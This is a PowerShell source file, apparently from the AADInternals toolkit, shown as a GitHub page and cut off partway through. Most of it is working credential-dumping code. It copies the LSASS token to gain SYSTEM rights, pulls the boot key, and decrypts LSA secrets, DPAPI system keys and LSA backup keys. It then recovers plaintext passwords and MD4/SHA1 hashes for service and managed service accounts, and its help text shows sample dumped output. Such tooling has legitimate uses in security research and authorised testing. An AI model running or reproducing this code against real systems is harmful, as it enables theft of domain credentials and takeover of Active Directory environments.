-
Notifications
You must be signed in to change notification settings - Fork 214
/
AD_utils.ps1
1808 lines (1532 loc) · 61.6 KB
/
AD_utils.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# This file contains functions for various Active Directory related operations
# Import the Native Methods dll
try
{
Add-Type -path "$PSScriptRoot\Win32Ntv.dll"
}
catch
{
Write-Warning "Could not load Win32Ntv.dll (probably blocked by Anti Virus)"
}
# Hash and encryption algorithms
$ALGS=@{
0x00006603 = "3DES"
0x00006609 = "3DES 112"
0x00006611 = "AES"
0x0000660e = "AES 128"
0x0000660f = "AES 192"
0x00006610 = "AES 256"
0x0000aa03 = "AGREEDKEY ANY"
0x0000660c = "CYLINK MEK"
0x00006601 = "DES"
0x00006604 = "DESX"
0x0000aa02 = "DH EPHEM"
0x0000aa01 = "DH SF"
0x00002200 = "DSS SIGN"
0x0000aa05 = "ECDH"
0x0000ae06 = "ECDH EPHEM"
0x00002203 = "ECDSA"
0x0000a001 = "ECMQV"
0x0000800b = "HASH REPLACE OWF"
0x0000a003 = "HUGHES MD5"
0x00008009 = "HMAC"
0x0000aa04 = "KEA KEYX"
0x00008005 = "MAC"
0x00008001 = "MD2"
0x00008002 = "MD4"
0x00008003 = "MD5"
0x00002000 = "NO SIGN"
0xffffffff = "OID INFO CNG ONLY"
0xfffffffe = "OID INFO PARAMETERS"
0x00004c04 = "PCT1 MASTER"
0x00006602 = "RC2"
0x00006801 = "RC4"
0x0000660d = "RC5"
0x0000a400 = "RSA KEYX"
0x00002400 = "RSA SIGN"
0x00004c07 = "SCHANNEL ENC KEY"
0x00004c03 = "SCHANNEL MAC KEY"
0x00004c02 = "SCHANNEL MASTER HASH"
0x00006802 = "SEAL"
0x00008004 = "SHA1"
0x0000800c = "SHA 256"
0x0000800d = "SHA 384"
0x0000800e = "SHA 512"
0x0000660a = "SKIPJACK"
0x00004c05 = "SSL2 MASTER"
0x00004c01 = "SSL3 MASTER"
0x00008008 = "SSL3 SHAMD5"
0x0000660b = "TEK"
0x00004c06 = "TLS1 MASTER"
0x0000800a = "TLS1PRF"
}
# Gets the class name of the given registry key (can't be read with pure PowerShell)
# Mar 25th 2020
function Invoke-RegQueryInfoKey
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[Microsoft.Win32.RegistryKey]$RegKey
)
Process
{
# Create the StringBuilder and length to retrieve the class name
$length = 255
$name = New-Object System.Text.StringBuilder $length
# LastWrite
[int64]$lw=0
$error = [AADInternals.Native]::RegQueryInfoKey(
$RegKey.Handle,
$name, # ClassName
[ref] $length, # ClassNameLength
$null, # Reserved
[ref] $null, # SubKeyCount
[ref] $null, # MaxSubKeyNameLength
[ref] $null, # MaxClassLength
[ref] $null, # ValueCount
[ref] $null, # MaxValueNameLength
[ref] $null, # MaxValueValueLength
[ref] $null, # SecurityDescriptorSize
[ref] $lw # LastWrite
)
if ($error -ne 0) {
Throw "Error while invoking RegQueryInfoKey"
}
else {
$hexValue = $name.ToString()
if([String]::IsNullOrEmpty($hexValue))
{
Write-Error "RegQueryInfoKey: ClassName is empty"
}
else
{
return Convert-HexToByteArray $hexValue
}
}
}
}
# Gets the boot key from the registry
# Mar 25th 2020
function Get-Bootkey
{
[cmdletbinding()]
Param()
Process
{
# Get the current controlset
$cc = "{0:000}" -f (Get-ItemPropertyValue "HKLM:\SYSTEM\Select" -Name "Current")
# Construct the bootkey
$lsaKey = "HKLM:\SYSTEM\ControlSet$cc\Control\Lsa"
$bootKey = Invoke-RegQueryInfoKey (Get-Item "$lsaKey\JD")
$bootKey += Invoke-RegQueryInfoKey (Get-Item "$lsaKey\Skew1")
$bootKey += Invoke-RegQueryInfoKey (Get-Item "$lsaKey\GBG")
$bootKey += Invoke-RegQueryInfoKey (Get-Item "$lsaKey\Data")
# Return the bootkey with the correct byte order
$bootKeyBytes=@(
$bootKey[0x08]
$bootKey[0x05]
$bootKey[0x04]
$bootKey[0x02]
$bootKey[0x0B]
$bootKey[0x09]
$bootKey[0x0D]
$bootKey[0x03]
$bootKey[0x00]
$bootKey[0x06]
$bootKey[0x01]
$bootKey[0x0C]
$bootKey[0x0E]
$bootKey[0x0A]
$bootKey[0x0F]
$bootKey[0x07]
)
Write-Verbose "BootKey (SysKey): $((Convert-ByteArrayToHex -Bytes $bootKeyBytes).toLower())"
return $bootKeyBytes
}
}
# Gets the computer name
# Apr 24th 2020
function Get-ComputerName
{
[cmdletbinding()]
Param(
[Switch]$FQDN
)
Process
{
# Get the server name from the registry
$computer = Get-ItemPropertyValue "HKLM:\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName" -Name "ComputerName"
if($FQDN)
{
# Get the domain part
$domain = Get-ComputerDomainName
$computer+=".$domain"
}
Write-Verbose "ComputerName: $computer"
return $computer
}
}
# Gets the domain of the computer
# Aug 28th 2022
function Get-ComputerDomainName
{
[cmdletbinding()]
Param(
[Switch]$NetBIOS
)
Process
{
# Get the FQDN from the registry
$domainName = Get-ItemPropertyValue "HKLM:\System\CurrentControlSet\Services\Tcpip\Parameters" -Name "Domain"
if(!$domainName)
{
throw "Could not get FQDN from registry."
}
Write-Verbose "Domain name: $domainName"
# Get NetBIOS using WMIC
if($NetBIOS)
{
Write-Verbose "Getting NetBIOS domain name for $domainName using WMIC"
$wmiDomain = Get-WmiObject Win32_NTDomain -Filter "DnsForestName = '$($domainName)'"
if(!$wmiDomain)
{
throw "Could not get NetBIOS domain for $FQDN using WMIC"
}
$DomainName = $wmiDomain.DomainName
Write-Verbose "NetBIOS domain: $domainName"
}
return $domainName
}
}
# Gets the machine guid
# Mar 25th 2020
function Get-MachineGuid
{
Process
{
$registryValue = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Cryptography" -Name "MachineGuid"
return [guid] $registryValue.MachineGuid
}
}
# Gets the DPAPI_SYSTEM keys
# Apr 23rd 2020
function Get-DPAPIKeys
{
<#
.SYNOPSIS
Gets DPAPI system keys
.DESCRIPTION
Gets DPAPI system keys which can be used to decrypt secrets of all users encrypted with DPAPI.
MUST be run on a domain controller as an administrator
.Example
Get-AADIntDPAPIKeys
UserKey UserKeyHex MachineKey MachineKeyHex
------- ---------- ---------- -------------
{16, 130, 39, 122...} 1082277ac85a532018930b782c30b7f2f91f7677 {226, 88, 102, 95...} e258665f0a016a7c215ceaf29ee1ae17b9f017b9
.Example
$dpapi_keys=Get-AADIntDPAPIKeys
#>
[cmdletbinding()]
Param()
Process
{
$LSAsecrets = Get-LSASecrets -Users "DPAPI_SYSTEM"
foreach($secret in $LSAsecrets)
{
if($secret.Name -eq "DPAPI_SYSTEM")
{
# Strip the first two DWORDs
$key = $secret.Password[4..$($secret.Password.Length-1)]
$userKey = $key[0..19]
$machineKey = $key[20..39]
$attributes=[ordered]@{
"UserKey" = $userKey
"UserKeyHex" = Convert-ByteArrayToHex -Bytes $userKey
"MachineKey" = $machineKey
"MachineKeyHex" = Convert-ByteArrayToHex -Bytes $machineKey
}
return New-Object psobject -Property $attributes
}
}
}
}
# Decrypts the given data using the given key and InitialVector (IV)
# Apr 24th 2020
function Decrypt-LSASecretData
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Data,
[Parameter(Mandatory=$True)]
[byte[]]$Key,
[Parameter(Mandatory=$True)]
[byte[]]$InitialVector
)
Process
{
# Create a SHA256 object
$sha256 = [System.Security.Cryptography.SHA256]::Create()
# Derive the encryption key (first hash with the key, and then 1000 times with IV)
$sha256.TransformBlock($Key,0,$Key.Length,$null,0) | Out-Null
for($a = 0 ; $a -lt 999; $a++)
{
$sha256.TransformBlock($InitialVector,0,$InitialVector.Length,$null,0) | Out-Null
}
$sha256.TransformFinalBlock($InitialVector,0,$InitialVector.Length) | Out-Null
$encryptionKey = $sha256.Hash
# Create an AES decryptor
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
$aes.Mode="ECB"
$aes.Padding="None"
$aes.KeySize = 256
$aes.Key = $encryptionKey
# Decrypt the data
$dec = $aes.CreateDecryptor()
$decryptedData = $dec.TransformFinalBlock($Data,0,$Data.Count)
# return
return $decryptedData
}
}
# Parse LSA secrets Blob
# Apr 24th 2020
function Parse-LSASecretBlob
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Data
)
Process
{
$version = [System.BitConverter]::ToInt32($Data[3..0], 0)
$guid = [guid][byte[]]($Data[4..19])
$algorithm = [System.BitConverter]::ToInt32($Data, 20)
$flags = [System.BitConverter]::ToInt32($Data, 24)
$lazyIv = $Data[28..59]
Write-Verbose "Key ID: $($guid.ToString())"
New-Object -TypeName PSObject -Property @{
"Version" = $version
"GUID" = $guid
"Algorighm" = $algorithm
"Flags" = $flags
"IV" = $lazyIv
"Data" = $Data[60..$($Data.Length)]
}
}
}
# Parse LSA password Blob
# Apr 24th 2020
function Parse-LSAPasswordBlob
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$PasswordBlob
)
Process
{
# Get the size
$BlobSize = [System.BitConverter]::ToInt32($PasswordBlob,0)
# Get the actual data (strip the first four DWORDs)
$Blob = $PasswordBlob[16..$(16+$BlobSize-1)]
Write-Verbose "Password Blob: $(Convert-ByteArrayToHex -Bytes $Blob)"
return $Blob
}
}
# Parses LSA keystream
# Apr 24th 2020
function Parse-LSAKeyStream
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$KeyStream
)
Process
{
# Get the stream size
$streamSize = [System.BitConverter]::ToInt32($KeyStream,0)
# Get the actual data (strip the first four DWORDs)
$streamData = $KeyStream[16..$(16+$streamSize-1)]
# Parse the keystream metadata
$ksType = [System.BitConverter]::ToInt32($streamData[0..3], 0)
$CurrentKeyID = [guid][byte[]]($streamData[4..19])
Write-Verbose "Current LSA key Id: $($CurrentKeyID.ToString())"
$ksType2 = [System.BitConverter]::ToInt32($streamData, 20)
$ksNumKeys = [System.BitConverter]::ToInt32($streamData, 24)
Write-Verbose "Number of LSA keys: $ksNumKeys"
# Loop through the list of the keys, start right after the header information
$pos=28
$keys=@{}
for($a = 0; $a -lt $ksNumKeys ; $a++)
{
$keyId = [guid][byte[]]($streamData[$pos..$($pos+15)])
$pos+=16
$keyType = [System.BitConverter]::ToInt32($streamData[$pos..$($pos+3)], 0)
$pos+=4
$keySize = [System.BitConverter]::ToInt32($streamData[$pos..$($pos+3)], 0)
$pos+=4
$keyBytes = [byte[]]($streamData[$pos..$($pos+$keySize-1)])
$pos+=$keySize
Write-Verbose "LSA Key $($a+1) Id:$($keyId.ToString()), $((Convert-ByteArrayToHex -Bytes $keyBytes).toLower())"
$keys[$keyId.ToString()] = $keyBytes
}
return $keys
}
}
# Gets LSA secrets
# Apr 24th 2020
# Aug 29th 2022: Added support for Group Managed Service Accounts (GMSA)
function Get-LSASecrets
{
<#
.SYNOPSIS
Gets computer's LSA Secrets from registry.
.DESCRIPTION
Gets computer's Local Security Authority (LSA) secrets from registry. MUST be run as an administrator.
.PARAMETER AccountName
The account name of a service
.PARAMETER Users
List of users
.Example
Get-AADIntLSASecrets
Name : $MACHINE.ACC
Account :
Password : {131, 100, 104, 117...}
PasswordHex : 836468758afd792..
PasswordTxt : 撃畨ﶊ脅䰐血⺹颶姾..
Credentials :
MD4 : {219, 201, 145, 228...}
SHA1 : {216, 95, 90, 3...}
MD4Txt : dbc991e4e611cf4dbd0d853f54489caf
SHA1Txt : d85f5a030b06061329ba93ac7da2f446981a02b6
Name : DPAPI_SYSTEM
Account :
Password : {1, 0, 0, 0...}
PasswordHex : 010000000c63b569390..
PasswordTxt : 挌榵9႘ૂਧ绣똚鲐쒽뾮㌡懅..
Credentials :
MD4 : {85, 41, 246, 248...}
SHA1 : {32, 31, 39, 107...}
MD4Txt : 5529f6f89c797f7d95224a554f460ea5
SHA1Txt : 201f276b05fa087a0b7e37f7052d581813d52b46
Name : NL$KM
Account :
Password : {209, 118, 66, 10...}
PasswordHex : d176420abde330d3e443212b...
PasswordTxt : 监ੂ팰䏤⬡ꎛ녀䚃劤⪠钤␎/뜕ະ...
Credentials :
MD4 : {157, 45, 19, 202...}
SHA1 : {197, 144, 115, 117...}
MD4Txt : 9d2d13cac899b491114129e5ebe00939
SHA1Txt : c590737514c8f22607fc79d771b61b1a1505c3ee
Name : _SC_AADConnectProvisioningAgent
Account : COMPANY\provAgentgMSA
Password : {176, 38, 6, 7...}
PasswordHex : b02606075f962ab4474bd570dc..
PasswordTxt : ⚰܆陟됪䭇...
Credentials : System.Management.Automation.PSCredential
MD4 : {123, 211, 194, 182...}
SHA1 : {193, 238, 187, 166...}
MD4Txt : 7bd3c2b62b66024e4e066a1f4902221e
SHA1Txt : c1eebba61a72d8a4e78b1cefd27c555b83a39cb4
Name : _SC_ADSync
Account : COMPANY\AAD_5baf82738e9c
Password : {41, 0, 45, 0...}
PasswordHex : 29002d004e0024002a00...
PasswordTxt : )-N$*s=322jSQnm-YG#z2z...
Credentials : System.Management.Automation.PSCredential
MD4 : {81, 210, 222, 155...}
SHA1 : {94, 74, 122, 142...}
MD4Txt : 51d2de9b89b81d0cb371a829a2d19fe2
SHA1Txt : 5e4a7a8e220652c11cf64d25b1dcf63da7ce4bf1
Name : _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_15030c93b7affb1fe7dc418b9dab42addf5
74c56b3e7a83450fc4f3f8a382028
Account :
Password : {131, 250, 57, 146...}
PasswordHex : 83fa3992cd076f3476e8be7e04...
PasswordTxt : 廙鈹ߍ㑯纾�≦瀛・௰镭꾔浪�ꨲ컸O⩂�..
Credentials :
MD4 : {198, 74, 199, 231...}
SHA1 : {78, 213, 16, 126...}
MD4Txt : c64ac7e7d2defe99afdf0026b79bbab9
SHA1Txt : 4ed5107ee08123635f08390e106ed000f96273fd
Name : _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_15030c93b7affb1fe7dc418b9dab42addf574c56b
3e7a83450fc4f3f8a382028
Account : COMPANY\sv_ADFS
Password : {213, 89, 245, 60...}
PasswordHex : d559f53cdc2aa6dffe32d6b23...
PasswordTxt : 姕㳵⫝̸�㋾닖�स䥥⫮Ꭸ베꺻ᢆ㒍梩神蔼廄...
Credentials : System.Management.Automation.PSCredential
MD4 : {223, 4, 60, 193...}
SHA1 : {86, 201, 125, 70...}
MD4Txt : df043cc10709bd9f94aa273ec7a54b68
SHA1Txt : 56c97d46b5072ebb8c5c7bfad4b8c1c18f3b48d0
.Example
Get-AADIntLSASecrets -AccountName COMPANY\AAD_5baf82738e9c
Name : _SC_ADSync
Account : COMPANY\AAD_5baf82738e9c
Password : {41, 0, 45, 0...}
PasswordHex : 29002d004e0024002a00...
PasswordTxt : )-N$*s=322jSQnm-YG#z2z...
Credentials : System.Management.Automation.PSCredential
MD4 : {81, 210, 222, 155...}
SHA1 : {94, 74, 122, 142...}
MD4Txt : 51d2de9b89b81d0cb371a829a2d19fe2
SHA1Txt : 5e4a7a8e220652c11cf64d25b1dcf63da7ce4bf1
.Example
Get-AADIntLSASecrets -AccountName COMPANY\sv_ADFS
Name : _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_15030c93b7affb1fe7dc418b9dab42addf574c56b
3e7a83450fc4f3f8a382028
Account : COMPANY\sv_ADFS
Password : {213, 89, 245, 60...}
PasswordHex : d559f53cdc2aa6dffe32d6b23...
PasswordTxt : 姕㳵⫝̸�㋾닖�स䥥⫮Ꭸ베꺻ᢆ㒍梩神蔼廄...
Credentials : System.Management.Automation.PSCredential
MD4 : {223, 4, 60, 193...}
SHA1 : {86, 201, 125, 70...}
MD4Txt : df043cc10709bd9f94aa273ec7a54b68
SHA1Txt : 56c97d46b5072ebb8c5c7bfad4b8c1c18f3b48d0
.Example
Get-AADIntLSASecrets -Users DPAPI_SYSTEM
Name : DPAPI_SYSTEM
Account :
Password : {1, 0, 0, 0...}
PasswordHex : 010000000c63b569390..
PasswordTxt : 挌榵9႘ૂਧ绣똚鲐쒽뾮㌡懅..
Credentials :
MD4 : {85, 41, 246, 248...}
SHA1 : {32, 31, 39, 107...}
MD4Txt : 5529f6f89c797f7d95224a554f460ea5
SHA1Txt : 201f276b05fa087a0b7e37f7052d581813d52b46
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Users',Mandatory=$False)]
#[Parameter(ParameterSetName='Default',Mandatory=$False)]
[String[]]$Users,
[Parameter(ParameterSetName='Account',Mandatory=$True)]
#[Parameter(ParameterSetName='Default',Mandatory=$False)]
[String]$Service,
[Parameter(ParameterSetName='Service',Mandatory=$True)]
#[Parameter(ParameterSetName='Default',Mandatory=$False)]
[String]$AccountName
)
Begin
{
$sha1Prov = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
}
Process
{
# First elevate the current thread by copying the token from LSASS.EXE
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
Write-Warning "Elevating to LOCAL SYSTEM. You MUST restart PowerShell to restore $CurrentUser rights."
if([AADInternals.Native]::copyLsassToken())
{
#
# Get the syskey a.k.a. bootkey
#
$syskey = Get-Bootkey
#
# Get the name and sid information
#
# Get the local name and sid
$lnameBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolAcDmN" -Name "(default)"
$LocalName = [text.encoding]::Unicode.GetString($lnameBytes[8..$($lnameBytes.Length)])
$lsidBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolAcDmS" -Name "(default)"
$LocalSid=(New-Object System.Security.Principal.SecurityIdentifier($lsidBytes,0)).Value
# Get the domain name and sid
$dnameBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolPrDmN" -Name "(default)"
$DomainName = [text.encoding]::Unicode.GetString($dnameBytes[8..$($dnameBytes.Length)]).Trim(0x00)
$dsidBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolPrDmS" -Name "(default)"
if($dsidBytes)
{
$DomainSid=(New-Object System.Security.Principal.SecurityIdentifier($dsidBytes,0)).Value
}
# Get the domain FQDN
$fqdnBytes = Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolDnDDN" -Name "(default)"
$DomainFQDN = [text.encoding]::Unicode.GetString($fqdnBytes[8..$($fqdnBytes.Length)]).Trim(0x00)
Write-Verbose "Local: $LocalName ($LocalSid)"
Write-Verbose "Domain: $DomainName ($DomainSid)"
Write-Verbose "FQDN: $DomainFQDN"
#
# Get the encryption key Blob
#
$encKeyBlob = Parse-LSASecretBlob -Data (Get-ItemPropertyValue "HKLM:\SECURITY\Policy\PolEKList" -Name "(default)")
Write-Verbose "Default key: $($encKeyBlob.GUID)"
# Decrypt the encryption key Blob using the syskey
$decKeyBlob = Decrypt-LSASecretData -Data ($encKeyBlob.Data) -Key $syskey -InitialVector ($encKeyBlob.IV)
# Parse the keys
$encKeys = Parse-LSAKeyStream -KeyStream $decKeyBlob
#
# Get the password Blobs for each system account
#
# Get service account names
$gmsaNames = @{}
$serviceAccounts = @{}
$serviceAccountNames = Get-ServiceAccountNames
# If service name was provided, find it's account
if(![string]::IsNullOrEmpty($Service))
{
$AccountName = $serviceAccountNames | Where-Object "Service" -eq $Service | Select-Object -ExpandProperty "AccountName"
# If not found, just return $null
if([string]::IsNullOrEmpty($AccountName))
{
return $null
}
}
# Loop through the service account names and get SA & gMSA names
foreach($saName in $serviceAccountNames)
{
$svcAccount = $saName.AccountName
if(![string]::IsNullOrEmpty($svcAccount) -and !$svcAccount.ToUpper().StartsWith("NT AUTHORITY\") -and !$svcAccount.ToUpper().StartsWith("NT SERVICE\") -and !$svcAccount.ToUpper().StartsWith("\DRIVER\") -and !$svcAccount.ToUpper().Equals("LOCALSYSTEM") )
{
if($svcAccount.EndsWith('$'))
{
$svcAccount = $svcAccount.TrimEnd('$')
}
$serviceAccounts[$saName.Service] = $svcAccount
$parts = $svcAccount.Split('\')
$gmsaName = Get-GMSASecretName -Type GMSA -AccountName $parts[1] -DomainName $parts[0]
$gmsaNames[$gmsaName] = $svcAccount
}
}
# Create a user list for gMSA and SAs if AccountName was provided
if(![string]::IsNullOrEmpty($AccountName))
{
Write-Verbose "Trying to find secret for account: $AccountName"
if($AccountName.IndexOf("\") -lt 0)
{
$AccountName = "$DomainName\$AccountName"
}
if($AccountName.EndsWith('$'))
{
$AccountName = $AccountName.Substring(0,$AccountName.Length-1)
}
$parts = $AccountName.Split('\')
$gmsaName = Get-GMSASecretName -Type GMSA -AccountName $parts[1] -DomainName $parts[0]
$smsaName = "_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_$($parts[1])$('$')"
foreach($service in $serviceAccounts.Keys)
{
if($serviceAccounts[$service] -eq $AccountName)
{
$saName = $service
break
}
}
$Users = @($gmsaName, $smsaName, "_SC_$saName")
}
# If users list not provided, retrieve all secrets
if([string]::IsNullOrEmpty($Users))
{
$Users = Get-ChildItem "HKLM:\SECURITY\Policy\Secrets\" | select -ExpandProperty PSChildName
}
foreach($user in $Users)
{
# Return values
$attributes=[ordered]@{}
$md4=$null
$sha1=$null
$Md4txt=$null
$Sha1txt=$null
$account=$null
# Create the registry key
$regKey = "HKLM:\SECURITY\Policy\Secrets\$user\CurrVal"
if(Test-Path $regKey)
{
# Get the secret Blob from registry
$pwdBlob = Parse-LSASecretBlob -Data (Get-ItemPropertyValue $regKey -Name "(default)")
# Decrypt the password Blob using the correct encryption key
$decPwdBlob = Decrypt-LSASecretData -Data ($pwdBlob.Data) -Key $encKeys[$($pwdBlob.GUID.ToString())] -InitialVector ($pwdBlob.IV)
# Parse the Blob
if($user.StartsWith("_SC_GMSA_")) # Group Managed Service Account or GMSA DPAPI
{
# Strip the header
$pwdb = $decPwdBlob[16..$($decPwdBlob.length-1)]
# Replace the user name
if($gmsaNames.ContainsKey($user))
{
$account = $gmsaNames[$user]
}
# Parse managed password blob for GMSA accounts
if($user.StartsWith("_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_"))
{
$gmsa = Parse-ManagedPasswordBlob -PasswordBlob $pwdb
$pwdb = $gmsa.CurrentPassword
}
}
elseif($user.StartsWith("_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_")) # standalone Managed Service Account sMSA
{
# Strip the header
$pwdb = $decPwdBlob[16..$($decPwdBlob.length-1)]
$account = "$DomainName\$($user.SubString(43))" # "_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_"
# Strip the dollar sign
if($account.EndsWith('$'))
{
$account = $account.TrimEnd('$')
}
}
elseif($user.StartsWith("_SC_")) # Service accounts doesn't have password Blob - just dump the data after the header
{
$serviceName = $user.SubString(4)
$account = $serviceAccounts[$serviceName]
$pwdb = $decPwdBlob[16..$($decPwdBlob.length-1)]
}
else
{
$pwdb = Parse-LSAPasswordBlob -PasswordBlob $decPwdBlob
}
# Strip the first DWORD for DPAPI_SYSTEM
if($name -eq "DPAPI_SYSTEM")
{
$pwdb = $pwdb[4..$($pwdb.Length)]
}
else
{
if($pwdb -ne $null)
{
$md4=Get-MD4 -bArray $pwdb -AsByteArray
$sha1 = $sha1Prov.ComputeHash($pwdb)
$md4txt = Convert-ByteArrayToHex -Bytes $md4
$sha1txt = Convert-ByteArrayToHex -Bytes $sha1
Write-Verbose "MD4: $md4txt"
Write-Verbose "SHA1: $sha1txt"
}
}
# Add to return value
$attributes["Name"] = $user
$attributes["Account"] = $account
$attributes["Password"] = $pwdb
$attributes["PasswordHex"] = Convert-ByteArrayToHex -Bytes $pwdb
$attributes["PasswordTxt"] = ""
try{
$attributes["PasswordTxt"] = ([text.encoding]::Unicode.getString($pwdb)).trimend(@(0x00,0x0a,0x0d))
}
catch{}
$attributes["Credentials"] = $null
try{
$attributes["Credentials"] = [pscredential]::new($account,($attributes["PasswordTxt"] | ConvertTo-SecureString -AsPlainText -Force))
}
catch{}
$attributes["MD4"] = $md4
$attributes["SHA1"] = $sha1
$attributes["MD4Txt"] = $md4txt
$attributes["SHA1Txt"] = $sha1txt
Write-Verbose "$($user): $(Convert-ByteArrayToHex -Bytes $pwdb)" -ErrorAction SilentlyContinue
New-Object psobject -Property $attributes
}
else
{
Write-Verbose "No secrets found for user $user"
}
}
}
else
{
Write-Error "Could not copy LSASS.EXE token. MUST be run as administrator"
}
}
}
# Gets LSA backup keys
# Apr 24th 2020
function Get-LSABackupKeys
{
<#
.SYNOPSIS
Gets LSA backup keys
.DESCRIPTION
Gets Local Security Authority (LSA) backup keys which can be used to decrypt secrets of all users encrypted with DPAPI.
MUST be run as an administrator
.Example
Get-AADIntLSABackupKeys
certificate Name Id Key
----------- ---- -- ---
{1, 2, 3, 4...} RSA e783c740-2284-4bd6-a121-7cc0d39a5077 {231, 131, 199, 64...}
Legacy ff127a05-51b1-4d45-8655-30c883631d90 {255, 18, 122, 5...}
.Example
$lsabk_keys=Get-AADIntLSABackupKeys
#>
[cmdletbinding()]
Param()
Process
{
# First elevate the current thread by copying the token from LSASS.EXE
if([AADInternals.Native]::copyLsassToken())
{
# Call the native method to retrive backupkeys
$backupKeys=[AADInternals.Native]::getLsaBackupKeys();
}
else
{
Write-Error "Could not copy LSASS.EXE token. MUST be run as administrator"
return
}
# Analyse and update the keys
foreach($backupKey in $backupKeys)
{
if($bk=$backupKey.key)
{
# Get the version info (type of the key)
$p=0;
$version = [bitconverter]::ToInt32($bk,$p); $p+=4
if($version -eq 2) # RSA privatekey
{
$keyLen = [bitconverter]::ToInt32($bk,$p); $p+=4
$certLen = [bitconverter]::ToInt32($bk,$p); $p+=4
# Extract the private key and certificate
$key=$bk[$p..$($p+$keyLen-1)]
$p+=$keyLen
$cert=$bk[$p..$($p+$certLen-1)]
# Create a private key header
$pvkHeader = @(
# Private key magic = 0xb0b5f11e == bob's file
0x1e, 0xf1, 0xb5, 0xb0
# File version = 0
0x00, 0x00, 0x00, 0x00
# Key spec = 1
